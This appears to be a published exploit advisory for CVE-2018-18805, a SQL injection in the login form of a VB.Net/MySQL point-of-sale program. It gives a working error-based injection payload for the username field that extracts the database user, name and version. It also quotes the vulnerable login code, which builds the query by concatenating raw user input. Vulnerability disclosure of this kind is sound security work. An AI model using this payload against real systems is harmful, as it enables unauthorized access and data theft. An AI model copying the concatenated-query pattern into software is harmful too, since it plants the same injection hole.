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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: Point of Sales (POS) in VB.Net MySQL Database 1.0 - SQL Injection
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/janobe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/poinofsales_0.zip
# Version: 1.0
# Category: Windows
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18805

# POC: 
# 1)
# User: '||(SEleCT 'Efe' FRoM DuaL WheRE 113=113 AnD (SEleCT 64 FRom(SELeCT CoUNT(*),ConCAT(ConCAT(0x203a20,UsER(),DAtABAsE(),VErSIoN()),(SelEcT (ELT(64=64,1))),FLooR(RAnD(0)*2))x FrOM INFOrMATIoN_SchEMA.pLUGINS GroUP By x)a))||'
# Pass: Null
# 
# https://2.bp.blogspot.com/-qlfhS-GUaCQ/W9Yt3aHdLHI/AAAAAAAAENg/Hmxj2lZ62cYITPlTNaNrwwAgh379Cbi8ACLcBGAs/s1600/sql3.png
# 
#[PATH]/LoginForm1.vb
#....
#11     Private Sub OK_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles OK.Click
#12         sql = "SELECT * FROM `tblemployee` WHERE `USERNAME` ='" & UsernameTextBox.Text & "' and `PASSWRD` = sha1('" & PasswordTextBox.Text & "')"
#13         janobefindthis(sql)
#14 
#15         If GetNumRows() = 1 Then
#16             LoadSingleResult("login")
#17             ' MsgBox(fullname)
#18             Form1.statsloginname.Text = fullname
#19             Form1.tsLogin.Text = "Logout"
#20 
#21             If usertype = "Administrator" Then
#22                 Visible_Admin(True)
#23             Else
#24                 Visible_Cashier(True)
#25             End If
#26         Else
#27             MsgBox("Username or Password not registered!")
#28         End If
#29 
#30 
#31         Me.Close()
#32     End Sub
#....